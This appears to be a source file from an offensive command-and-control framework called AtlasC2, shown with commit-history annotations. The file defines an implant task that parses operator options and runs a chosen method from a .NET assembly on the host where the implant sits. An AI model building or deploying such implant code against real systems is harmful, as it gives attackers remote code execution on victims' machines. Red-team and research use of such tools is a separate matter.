AtlasC2/Implant/Tasks/Execute/ExecuteAssemMethod.cs

51 lines
2.0 KiB
C#
Raw Normal View History

2021-12-26 17:40:51 -08:00
using Implant.Models;
using Implant.Utils;
namespace Implant.Tasks.Execute
{
class ExecuteAssemMethod : ImplantCommands
{
2022-01-09 20:07:35 -08:00
private string assemName { get; set; }
2021-12-26 17:40:51 -08:00
private string assemType { get; set; }
private string assemMethod { get; set; }
2022-01-09 20:07:35 -08:00
private string assemParams { get; set; }
private string Args { get; set; }
2021-12-26 17:40:51 -08:00
public override string Name => "ExecuteAssemMethod";
public override string Execute(ImplantTask task)
{
var opts = ImplantOptionUtils.ReturnMethod(task);
2022-01-09 20:07:35 -08:00
Args = task.Args.Replace("\\", "");
var args = ImplantOptionUtils.ParseArgs(Args);
2021-12-26 17:40:51 -08:00
foreach (var opt in opts)
{
foreach (var _params in args.Params)
{
2022-01-09 20:07:35 -08:00
if ((_params.OptionName.ToLower() is "assemname")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
assemName = _params.OptionValue;
}
2021-12-26 17:40:51 -08:00
if ((_params.OptionName.ToLower() is "assemtype")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
assemType = _params.OptionValue;
}
if ((_params.OptionName.ToLower() is "assemmethod")
2022-01-09 20:07:35 -08:00
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
2021-12-26 17:40:51 -08:00
assemMethod = _params.OptionValue;
}
2022-01-09 20:07:35 -08:00
if ((_params.OptionName.ToLower() is "assemparams")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
assemParams = _params.OptionValue;
}
2021-12-26 17:40:51 -08:00
}
}
2022-01-09 20:07:35 -08:00
return LoadFunctions.ExecuteAssemMethod(assemName, assemType, assemMethod, assemParams);
2021-12-26 17:40:51 -08:00
}
}
}